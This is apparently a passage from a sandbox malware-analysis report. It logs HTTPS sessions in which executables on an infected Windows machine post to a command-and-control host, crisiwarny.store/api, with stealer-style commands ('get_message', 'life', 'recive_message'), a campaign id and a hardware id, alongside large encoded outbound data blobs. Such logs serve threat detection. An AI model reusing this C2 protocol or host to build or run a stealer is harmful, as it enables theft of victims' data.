2024-10-26 06:52:55 UTC	15331	OUT	Data Raw: 3f 70 42 c0 f3 71 fc 09 7e 9d ef c8 8c 27 29 f1 ed ff 5e ef c3 7b f3 97 54 c3 7f cb ec 8a 0d 19 4a fa f4 6e 4d f4 b2 7c 93 83 48 19 18 85 63 0f c3 28 df 8d 78 76 07 dc 08 e0 90 b0 be b4 db 8a 4c 39 18 65 08 60 87 cc 86 46 36 96 5a 33 2e df 64 ce 89 03 d3 67 9c 35 ef 46 19 da 09 b6 3a f1 c7 91 1b f0 6f 38 26 9f 60 7f 14 40 d8 a5 10 ec 1b 94 2d 1d 7c 3d 9c 63 02 96 44 60 b7 06 52 ff 41 2b 4f 28 75 23 d7 1f 9c 32 51 43 77 ae 0c b8 f1 6b 12 49 e6 84 97 36 a1 3c ce f8 70 ee cd 52 3e a2 59 f5 8e 26 67 f7 a1 bc b4 d7 24 70 2c 11 63 31 e6 07 89 9e a2 38 ba 02 84 76 8e 98 ef 2d 63 9e b7 e7 d8 9c 1b 0e 7c af bc 1b ca dd 52 dc e9 a4 53 ca a4 13 f0 fe 88 96 70 f5 b6 26 23 ac 22 3a db b9 3b af b8 9a 9b 57 50 82 93 c9 da 82 f8 cd 23 4f bb 97 67 20 97 cb dc 51 a5 95 7d Data Ascii: ?pBq~')^{TJnM\|Hc(xvL9e`F6Z3.dg5F:o8&`@-\|=cD`RA+O(u#2QCwkI6<pR>Y&g$p,c18v-c\|RSp&#":;WP#Og Q}
2024-10-26 06:52:55 UTC	15331	OUT	Data Raw: 21 d4 71 0c 7e 2e 22 ed ad 1f aa 99 f7 59 c2 6c a9 c4 63 0f df f8 d7 5a b4 7a 7d c3 cd 29 fe 3d 58 63 00 a7 af 34 78 ae 02 4c e6 4e 7f 84 10 70 a9 ef 72 a2 2e 07 1b 0c 6d 35 6d 74 d1 b6 6c cd 42 c7 77 c6 f3 ea 1a a8 1d 79 75 84 c0 07 27 22 d8 a3 82 17 95 0e d4 ba b5 08 22 b7 81 84 76 91 8b a4 21 89 55 a1 04 ce 37 ca 4f d3 4e a1 a5 08 6e 8c 16 9d 20 6e 11 c5 08 4e 80 e2 72 28 57 96 dc 8a bd 7c 70 9f 1c 41 82 bb bd 6a 4e 6d 45 f0 8a 3b de 3b 62 3e 15 c1 ef 7f 53 f9 d4 13 57 9d 73 3e 9a 10 5e 9f 70 f5 7f 47 e3 32 70 e4 88 32 94 a5 38 18 48 be a6 09 67 be 3d 0c 16 0b 6c 68 9e d1 10 44 17 00 e2 eb 5b 9f 4e 56 5d 03 76 12 50 7b 02 cc 2f fc df 73 28 3b 2d 34 e9 3f 25 3b 18 38 a8 0f 2b 3a 36 9e 6b 4f dc 6d 0b f5 66 2e f5 f0 d8 5d 85 89 38 fc 28 f8 17 71 ba f7 0a Data Ascii: !q~."YlcZz})=Xc4xLNpr.m5mtlBwyu'""v!U7ONn nNr(W\|pAjNmE;;b>SWs>^pG2p28Hg=lhD[NV]vP{/s(;-4?%;8+:6kOmf.]8(q
2024-10-26 06:52:55 UTC	15331	OUT	Data Raw: ea cf 71 c9 5e 89 5a e9 5e c9 e6 ce 95 e6 ca d7 27 64 de 2b ac f4 4f fa a9 6c 6c 57 2b 3f 79 22 1b a8 db 5b 32 9e f9 88 29 28 bf c7 50 0e 83 22 c2 8c 4d fe 65 9c c7 15 63 46 a5 40 80 00 68 60 5e ce fd df 52 4b 3d c7 59 7a 07 11 c0 01 f5 62 86 71 f4 3e 90 88 24 5b 31 2a 9f 49 ec 4d 66 95 27 4a 3f 82 a7 7e e4 04 b2 b2 35 4e 6e 30 15 24 a3 41 db 51 e8 36 17 2d 56 8e a8 bd be 10 e9 c2 49 66 33 9a 62 b8 fc 0b 64 2d ec 7a b6 b5 47 72 56 05 88 93 23 32 04 67 b8 ee cb 27 35 3e eb 16 b1 b1 1c a7 40 9c a2 1d 11 c1 a1 40 b0 a1 97 04 07 9a f0 2b 51 8f c8 9c 76 f0 db f0 1a f1 9f ad 22 78 6a 76 87 59 b4 4d 22 bb 9a 7a fe 4b c9 77 18 36 09 6e ed 45 e3 7a 11 2d db 59 01 13 9d 8c 05 18 6a 78 5e 49 19 c2 cf 72 94 98 73 2a 12 10 fb 38 5c b8 0d 5c d1 c9 d6 03 21 f7 86 09 83 Data Ascii: q^Z^'d+OllW+?y"[2)(P"MecF@h`^RK=Yzbq>$[1IMf'J?~5Nn0$AQ6-VIf3bd-zGrV#2g'5>@@+Qv"xjvYM"zKw6nEz-Yjx^Irs8\\!
2024-10-26 06:52:55 UTC	15331	OUT	Data Raw: ed e1 c9 4c 28 d3 70 1d c7 07 71 0a 5f ef 33 ed 97 ca d3 a4 95 5f 20 b7 b2 79 82 21 4a 8d 9c 43 3b e5 b6 d0 a7 42 f0 5f ba fe 26 f6 58 2c 0f db d7 eb f6 77 5b 93 5a d6 c3 a3 fd ed a3 1a 92 6c c8 ec 78 ff 8d 57 43 b7 9e 67 b6 f3 77 5f 8c 54 3d 03 bf d8 4f 97 00 dd b2 91 65 f6 d1 f9 b4 63 de 92 b7 bf 98 3e 7b 7a b8 d5 77 c8 03 42 c4 a7 c1 11 47 e6 b8 3c 1e f9 7b 51 eb 03 43 ab 82 5d 5d 80 b8 b0 a5 8a 27 f3 4d fb 37 7f ad 6b 0d 4d 2a da 19 6c a9 cc 6e 1d 50 62 84 35 fe 2e f7 78 60 af 9c 21 c4 bc 4d 93 45 ee 6e ee 0b 64 de b7 f2 86 52 33 fe 99 54 1c a3 35 0d 7f aa d5 c8 0c f6 a8 99 d8 2d bd a6 20 a9 24 0d 8e a4 49 bb 4c aa 3e 58 36 00 02 ac 8c fc d0 7d 88 15 73 75 6e 23 ff 02 08 5a 3a df 54 ac cf 8d 02 44 a4 21 49 61 5e 87 a9 c7 98 d4 d6 a2 e5 06 d6 58 d3 be Data Ascii: L(pq_3_ y!JC;B_&X,w[ZlxWCgw_T=Oec>{zwBG<{QC]]'M7kM*lnPb5.x`!MEndR3T5- $IL>X6}sun#Z:TD!Ia^X
2024-10-26 06:52:55 UTC	15331	OUT	Data Raw: 30 8b 46 57 3a 3d fb 07 14 7e 90 94 41 3c 22 69 f4 72 9d 7b a0 90 b8 d0 f3 fe b5 e9 01 47 21 42 88 9a 78 d1 0d 69 f1 9b 58 30 a6 51 87 4f c0 a2 03 34 69 66 91 b4 26 3f d4 4d cd 68 58 b4 7c 33 72 5a ba 76 22 8b 84 d0 e5 85 71 35 4f 3a 2e 39 97 c3 96 fb 42 1a 04 7c 2e 4b dc 17 d4 1a bc d4 26 7c f5 61 eb ba 70 f7 97 90 4f a9 8a a9 b6 f8 25 51 ee f7 0e 97 9e 0f 4a 99 4d 46 1d 61 d7 07 40 a1 1d c1 9e 98 63 08 d1 8e 7b f7 be df 40 47 6f 36 c7 c8 0f df 78 2b 4f cf 61 af 9f 90 e3 9a cc eb 38 2f d8 61 3b 9f 91 a6 7a 2e b8 ad 09 40 99 27 df f2 62 92 7e 76 1e 8e 5b bf da f9 bb e3 11 20 45 50 c4 05 4d fb fe be ab 7e 15 a2 e8 3d 75 e7 11 88 75 cb 85 96 c0 d0 1a 39 78 43 96 47 b5 c3 dc 59 e3 2d aa dd aa 82 e7 46 4c cf 61 f0 b1 36 77 4a 64 b7 fc 27 01 a2 c1 a5 0b d2 c4 Data Ascii: 0FW:=~A<"ir{G!BxiX0QO4if&?MhX\|3rZv"q5O:.9B\|.K&\|apO%QJMFa@c{@Go6x+Oa8/a;z.@'b~v[ EPM~=uu9xCGY-FLa6wJd'
2024-10-26 06:52:55 UTC	15331	OUT	Data Raw: 88 64 5f c2 fb a4 0b ff ed 8f 1f 5e e0 c1 d9 47 dc e5 c6 93 32 33 5e 0b 2d e5 c4 77 0e 3b ab 69 0f e2 89 f4 78 40 b5 df b1 55 1b e1 54 54 67 24 03 71 bc 50 60 65 06 5f 3a 5c 63 04 8c aa b9 19 1b c9 84 66 cc 3f a3 7b 41 96 59 ae d2 5e ba 74 a6 ee 02 16 61 7c 90 dd 31 57 ef 97 ec 7a bf 0d 07 7a 44 fe 0a 7d 93 d3 9f b0 71 ad ac 60 d4 98 18 90 48 b1 39 c6 f7 d9 3f 2d f3 24 28 7d 37 71 fa 60 6a b1 73 09 3b 83 d9 25 f3 c7 d8 b4 aa 0e f2 e2 1d 1a 91 a7 7f 88 b0 0b 26 db f1 c2 d9 af 00 e4 ae 47 3a e8 4f 1f 74 7a 8d 1e 18 ab 4a e5 3e a5 91 71 9b 42 0f 86 53 14 e7 11 ab e1 a9 4b 23 59 e6 42 a8 d5 e4 5e 14 2c dd 59 b8 cc b9 26 a6 91 12 e6 a8 be 26 69 1b 97 1e 87 c3 49 fb 25 68 f1 00 68 19 f3 37 cf 3a b6 81 19 19 bc 66 4c 8c a9 96 e6 8e f4 54 1e aa 7d ee 9c bf 55 24 Data Ascii: d_^G23^-w;ix@UTTg$qP`e_:\cf?{AY^ta\|1WzzD}q`H9?-$(}7q`js;%&G:OtzJ>qBSK#YB^,Y&&iI%hh7:fLT}U$
2024-10-26 06:52:57 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:52:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=68758sbs6ruj3e8j4uuvdkirp7; expires=Wed, 19 Feb 2025 00:39:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yJpgA5%2Bu8B2aYFAmSZP2yhf2MJzpRGIzXv3hFzhiRiE1H03CMdCYzA7JNDMy7%2F4RAaeIEC1Ty2frvH%2Bykj2C65rtV9EEXJM1M8etTyQer4%2FVfhzqQyaeD5O6VIsVvRJlyx8Q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8886c13cfc22a3-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116346&sent=234&recv=502&lost=0&retrans=0&sent_bytes=2838&recv_bytes=584269&delivery_rate=24885&cwnd=32&unsent_bytes=0&cid=e8775fd5a6f9652f&ts=1490&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49748	172.67.170.64	443	6384	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:52:58 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-26 06:52:58 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=712E0BD30ABFADA15791AE78524BD06B
2024-10-26 06:52:58 UTC	1006	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:52:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jbtc700l9ta1pv31n1h7gq6o3o; expires=Wed, 19 Feb 2025 00:39:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pNlujYZaW2CCfbu0Re7%2BojJIbIxW6dDhVHB2Kqp1pk1%2F1gPzOdmDkGIho2UCDtoOT5OjYAKuKi9%2Fs5Lumw9Mzu2JTDopwzaRT2l6GHmqAVxfRaXcjSQcVpDWsxQtRksmO8us"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8886d07f9052cc-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=103582&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=987&delivery_rate=27958&cwnd=32&unsent_bytes=0&cid=3cb030cab30bba55&ts=524&x=0"
2024-10-26 06:52:58 UTC	299	IN	Data Raw: 31 32 34 0d 0a 4a 37 62 34 38 46 50 6c 51 63 39 6f 79 63 4f 6c 4d 7a 53 48 52 4f 74 58 6b 35 74 74 48 6f 58 6f 67 71 70 74 4e 57 78 2f 4c 62 5a 38 7a 64 71 46 63 64 39 6a 70 78 79 39 73 35 39 76 47 39 74 72 32 6d 2b 6d 74 56 38 76 73 4d 61 7a 6d 31 34 62 58 55 6c 78 6d 55 72 66 6c 70 55 50 79 6a 4f 75 42 71 32 73 79 42 31 52 2f 79 48 4a 65 37 48 39 47 54 79 2f 32 4b 36 49 43 42 64 57 54 31 43 61 58 4a 53 4e 30 6d 6e 48 4b 62 73 63 75 66 6e 35 48 47 69 6f 64 64 4e 69 76 61 6c 63 4b 36 76 5a 73 35 6c 44 42 46 6f 6a 41 73 56 54 30 35 6d 64 44 38 6f 7a 72 67 61 74 72 4d 67 64 55 66 38 68 79 58 75 78 2f 52 6b 38 76 39 69 75 69 41 67 58 56 6b 39 51 6d 6c 79 55 6a 64 4a 70 78 79 6d 37 48 4c 6e 35 2b 52 78 6f 71 48 58 54 59 72 32 70 58 43 75 72 32 62 4f 5a 51 77 Data Ascii: 124J7b48FPlQc9oycOlMzSHROtXk5ttHoXogqptNWx/LbZ8zdqFcd9jpxy9s59vG9tr2m+mtV8vsMazm14bXUlxmUrflpUPyjOuBq2syB1R/yHJe7H9GTy/2K6ICBdWT1CaXJSN0mnHKbscufn5HGioddNivalcK6vZs5lDBFojAsVT05mdD8ozrgatrMgdUf8hyXux/Rk8v9iuiAgXVk9QmlyUjdJpxym7HLn5+RxoqHXTYr2pXCur2bOZQw
2024-10-26 06:52:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49982	172.67.170.64	443	2332	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:05 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: crisiwarny.store
2024-10-26 06:54:05 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-26 06:54:05 UTC	1002	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oqhju3flr1pn8ppf8bkesk0qvv; expires=Wed, 19 Feb 2025 00:40:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XZDjbCz4abYXa9PHwpRudZ8VGLCkj2c98wk5wy7ZQsJzCym%2FmNrfzOhqxtweXmq7gbqsJdK9w8WPb8s0bCXvtrhRlsEJAfyuxX6TrX1y7ecFrx9JlBmg3mS9a4q28G4zkrGG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8888734c45d17c-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104029&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=907&delivery_rate=27830&cwnd=32&unsent_bytes=0&cid=11d6d59696c45ae3&ts=702&x=0"
2024-10-26 06:54:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-26 06:54:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49985	172.67.170.64	443	2332	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:54:06 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: crisiwarny.store
2024-10-26 06:54:06 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-26 06:54:06 UTC	1004	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:54:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m7v7ev2d1lq5ji2qaoismi2khq; expires=Wed, 19 Feb 2025 00:40:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ygBZJzBSJemmYbiFB5muuGLbQlFS2GGBYPwBLGbmXroDjvS1UWgMg9%2FmhrRk4%2FhAmml9bFHfSScaelHJD4wuqFq7Osws5EBDsfWjwvkpcSZw1AtYjww7UCxfHUyG2qmvpLzu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d88887b2f156367-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=103929&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=952&delivery_rate=27867&cwnd=32&unsent_bytes=0&cid=24ad5e4f2985fedf&ts=402&x=0"
2024-10-26 06:54:06 UTC	365	IN	Data Raw: 34 34 36 63 0d 0a 73 6e 73 6f 71 68 4e 32 55 59 38 6f 41 73 44 38 6e 37 4e 41 76 4b 4d 6a 68 43 43 38 74 4b 67 4a 7a 39 6c 54 6b 70 2f 74 32 6b 50 4a 57 56 36 49 4b 55 4a 39 72 56 74 6e 34 73 62 72 77 54 58 5a 6a 77 48 6c 52 4a 36 4f 7a 6d 69 6a 71 6a 61 2b 76 5a 75 33 59 59 67 64 53 63 5a 67 45 33 32 74 54 58 72 69 78 73 54 49 59 74 6e 4e 41 62 34 43 32 64 37 4b 61 4b 4f 37 4d 76 6e 77 6e 62 59 67 32 68 64 50 77 6e 59 56 4e 65 35 45 62 36 57 5a 2b 74 49 71 30 73 70 4f 37 45 32 65 6d 49 70 73 74 66 74 70 73 4e 4b 49 72 69 4c 2f 47 6c 76 42 4d 51 74 39 39 41 70 6e 72 74 36 6c 6b 53 48 5a 77 55 2f 69 52 4e 66 63 77 47 47 72 75 6a 66 34 37 34 53 38 4b 39 6f 5a 54 4d 4e 38 48 43 48 6a 54 6d 69 75 6e 2f 44 53 59 70 43 42 52 76 34 43 68 70 61 5a 57 61 36 71 49 Data Ascii: 446csnsoqhN2UY8oAsD8n7NAvKMjhCC8tKgJz9lTkp/t2kPJWV6IKUJ9rVtn4sbrwTXZjwHlRJ6Ozmijqja+vZu3YYgdScZgE32tTXrixsTIYtnNAb4C2d7KaKO7MvnwnbYg2hdPwnYVNe5Eb6WZ+tIq0spO7E2emIpstftpsNKIriL/GlvBMQt99Apnrt6lkSHZwU/iRNfcwGGrujf474S8K9oZTMN8HCHjTmiun/DSYpCBRv4ChpaZWa6qI
2024-10-26 06:54:06 UTC	1369	IN	Data Raw: 61 4b 39 50 4d 51 65 74 49 30 64 58 4b 62 4b 65 78 50 76 72 35 67 72 55 6e 30 42 6b 4b 68 6a 45 54 4b 36 30 53 49 49 47 62 37 64 59 75 79 49 4e 37 70 6c 32 51 7a 34 70 73 6f 66 74 70 73 50 57 4b 75 79 4c 62 46 6b 6e 41 65 67 59 7a 2f 30 78 74 70 34 7a 37 31 43 7a 55 77 6c 50 73 54 4e 6a 56 77 32 43 6b 76 6a 62 30 76 63 48 34 4a 73 68 5a 45 6f 68 51 47 54 6a 68 51 48 65 69 33 75 4b 66 4f 35 37 47 54 61 59 61 6e 74 4c 4c 62 36 79 2f 50 2f 37 35 67 37 34 76 33 52 5a 4d 77 6e 45 54 4f 65 56 43 59 61 2b 56 38 74 45 6e 30 38 56 48 36 6b 50 62 6c 6f 51 72 71 71 4e 78 71 4c 32 68 76 79 4c 43 57 33 2f 4c 66 78 6f 30 2b 77 70 2f 37 49 65 39 31 69 36 65 6d 51 48 6f 52 39 48 45 79 33 6d 6f 74 53 50 38 2b 49 6d 31 49 74 34 5a 54 38 39 38 47 6a 58 71 53 57 69 6d 6e 2f Data Ascii: aK9PMQetI0dXKbKexPvr5grUn0BkKhjETK60SIIGb7dYuyIN7pl2Qz4psoftpsPWKuyLbFknAegYz/0xtp4z71CzUwlPsTNjVw2Ckvjb0vcH4JshZEohQGTjhQHei3uKfO57GTaYantLLb6y/P/75g74v3RZMwnETOeVCYa+V8tEn08VH6kPbloQrqqNxqL2hvyLCW3/Lfxo0+wp/7Ie91i6emQHoR9HEy3motSP8+Im1It4ZT898GjXqSWimn/
2024-10-26 06:54:06 UTC	1369	IN	Data Raw: 6d 51 48 71 53 39 37 64 77 47 2b 74 76 44 7a 31 2f 6f 69 37 4c 4e 63 54 52 4d 39 31 47 44 72 67 54 47 43 6c 6d 76 6a 44 4a 39 66 4e 54 61 59 4d 6e 74 48 53 4b 2f 58 37 48 76 66 72 6a 4a 63 69 77 52 41 4b 31 7a 38 4e 63 2b 70 47 49 50 72 65 2b 74 51 71 31 63 64 4a 35 6c 44 62 32 4d 46 71 70 37 30 77 2f 66 47 4a 75 43 44 51 48 30 62 49 64 68 4d 68 2f 30 39 6d 73 4a 53 39 6e 32 4c 5a 32 51 47 2b 41 75 6a 47 33 58 71 37 2b 51 54 7a 38 34 47 2f 4e 35 41 47 42 4e 45 78 45 7a 2b 74 45 69 43 70 6e 76 48 57 4b 74 6a 46 53 65 6c 4e 31 38 54 4c 5a 36 4f 70 4e 76 44 30 67 62 63 74 32 52 52 4e 78 58 6f 65 50 75 6c 4e 59 65 4c 51 76 64 59 36 6e 70 6b 42 30 46 4c 54 32 75 52 67 6f 62 4a 78 37 37 4f 57 2b 43 62 63 57 52 4b 49 64 52 67 37 35 30 56 70 71 4a 54 79 32 43 4c Data Ascii: mQHqS97dwG+tvDz1/oi7LNcTRM91GDrgTGClmvjDJ9fNTaYMntHSK/X7HvfrjJciwRAK1z8Nc+pGIPre+tQq1cdJ5lDb2MFqp70w/fGJuCDQH0bIdhMh/09msJS9n2LZ2QG+AujG3Xq7+QTz84G/N5AGBNExEz+tEiCpnvHWKtjFSelN18TLZ6OpNvD0gbct2RRNxXoePulNYeLQvdY6npkB0FLT2uRgobJx77OW+CbcWRKIdRg750VpqJTy2CL
2024-10-26 06:54:06 UTC	1369	IN	Data Raw: 41 4c 5a 7a 6f 6f 7a 37 5a 51 57 78 62 2b 75 67 6d 48 50 56 31 4f 49 64 68 68 7a 74 51 70 73 6f 5a 4c 31 33 69 54 58 7a 55 76 76 53 64 4c 64 7a 6d 65 6b 76 6a 66 78 2b 49 71 35 4a 64 77 54 54 4d 74 79 47 7a 7a 69 51 69 44 73 33 76 72 4a 59 6f 61 42 5a 50 46 4a 30 4e 43 4b 64 4f 4f 69 63 66 66 78 7a 2b 42 68 33 42 42 4d 7a 6e 51 59 4d 75 74 43 5a 61 71 61 2f 4e 63 6b 33 63 35 46 34 30 50 52 30 73 5a 6c 70 37 6f 77 2f 50 61 41 73 79 53 51 56 77 72 50 61 56 52 72 72 58 74 6a 74 49 6e 74 33 57 4c 42 6a 31 69 6d 52 64 4b 57 6b 69 75 73 71 54 76 36 38 34 71 33 4a 4e 4d 57 54 63 56 33 47 44 6e 6b 51 6d 61 74 6c 2b 2f 53 4c 74 44 47 54 2b 70 4d 30 39 7a 4a 5a 75 33 31 63 66 66 6c 7a 2b 42 68 2f 42 35 48 35 6e 6f 59 4e 4b 31 56 4c 72 76 65 2b 74 31 69 68 6f 46 4e Data Ascii: ALZzooz7ZQWxb+ugmHPV1OIdhhztQpsoZL13iTXzUvvSdLdzmekvjfx+Iq5JdwTTMtyGzziQiDs3vrJYoaBZPFJ0NCKdOOicffxz+Bh3BBMznQYMutCZaqa/Nck3c5F40PR0sZlp7ow/PaAsySQVwrPaVRrrXtjtInt3WLBj1imRdKWkiusqTv684q3JNMWTcV3GDnkQmatl+/SLtDGT+pM09zJZu31cfflz+Bh/B5H5noYNK1VLrve+t1ihoFN
2024-10-26 06:54:06 UTC	1369	IN	Data Raw: 62 61 61 4f 2b 4b 4a 2f 50 72 68 4c 55 74 6b 41 59 45 30 54 45 54 50 36 30 53 49 4b 53 52 39 4e 49 74 33 38 68 4e 36 30 66 58 30 38 74 74 71 62 45 37 38 50 75 4a 75 53 54 61 47 6b 76 43 65 42 4d 37 36 6b 6c 79 34 74 43 39 31 6a 71 65 6d 51 48 50 52 63 7a 59 32 69 75 79 39 53 69 77 2b 6f 50 34 65 5a 41 64 51 4d 64 31 45 7a 2f 72 54 32 61 76 6e 2f 4c 51 49 74 48 46 53 75 39 45 33 39 76 50 5a 71 6d 70 4f 2f 76 79 67 37 45 74 33 56 6b 45 69 48 59 4d 63 37 55 4b 55 61 2b 51 38 39 59 30 6e 74 34 50 2f 77 4c 5a 32 6f 6f 7a 37 62 6f 39 2f 2f 36 41 75 79 4c 52 45 31 6a 61 66 52 30 37 36 45 5a 72 72 4a 6a 76 31 79 33 58 77 6b 4c 76 52 64 62 61 77 47 69 71 2b 33 2b 77 2b 70 66 34 65 5a 41 36 58 64 68 38 56 43 79 6a 55 79 43 6c 6b 72 32 4a 59 74 62 4d 53 65 78 47 32 Data Ascii: baaO+KJ/PrhLUtkAYE0TETP60SIKSR9NIt38hN60fX08ttqbE78PuJuSTaGkvCeBM76kly4tC91jqemQHPRczY2iuy9Siw+oP4eZAdQMd1Ez/rT2avn/LQItHFSu9E39vPZqmpO/vyg7Et3VkEiHYMc7UKUa+Q89Y0nt4P/wLZ2ooz7bo9//6AuyLRE1jafR076EZrrJjv1y3XwkLvRdbawGiq+3+w+pf4eZA6Xdh8VCyjUyClkr2JYtbMSexG2
2024-10-26 06:54:06 UTC	1369	IN	Data Raw: 6c 75 44 48 30 2b 59 69 39 49 74 77 53 54 63 74 2b 45 44 72 6a 51 32 2f 69 30 4c 33 57 4f 70 36 5a 41 63 64 5a 33 64 72 48 4b 37 4c 31 4b 4c 44 36 67 2f 68 35 6b 42 56 45 7a 58 45 65 4e 65 6c 50 5a 71 69 62 2f 64 6f 68 30 63 56 48 34 6b 33 65 33 63 4e 71 71 37 34 37 2b 2f 75 43 75 79 66 57 57 51 53 49 64 67 78 7a 74 51 70 41 75 5a 50 78 31 6d 4c 42 6a 31 69 6d 52 64 4b 57 6b 69 75 6d 74 7a 58 33 2f 59 4b 37 4b 64 55 64 51 4d 31 78 48 43 48 6c 53 6d 65 77 6a 50 33 59 4a 39 4c 43 51 65 4a 45 31 39 44 4a 62 2b 33 31 63 66 66 6c 7a 2b 42 68 2f 52 56 4e 34 58 59 50 63 2f 49 45 65 65 4b 5a 38 5a 46 36 6e 73 42 4b 37 45 33 54 31 63 78 6f 70 72 34 37 38 66 71 48 74 54 50 54 46 6b 58 4d 63 52 73 31 36 30 74 76 70 4a 6e 30 30 43 72 5a 67 51 2b 6d 52 63 61 57 6b 69 Data Ascii: luDH0+Yi9ItwSTct+EDrjQ2/i0L3WOp6ZAcdZ3drHK7L1KLD6g/h5kBVEzXEeNelPZqib/doh0cVH4k3e3cNqq747+/uCuyfWWQSIdgxztQpAuZPx1mLBj1imRdKWkiumtzX3/YK7KdUdQM1xHCHlSmewjP3YJ9LCQeJE19DJb+31cfflz+Bh/RVN4XYPc/IEeeKZ8ZF6nsBK7E3T1cxopr478fqHtTPTFkXMcRs160tvpJn00CrZgQ+mRcaWki
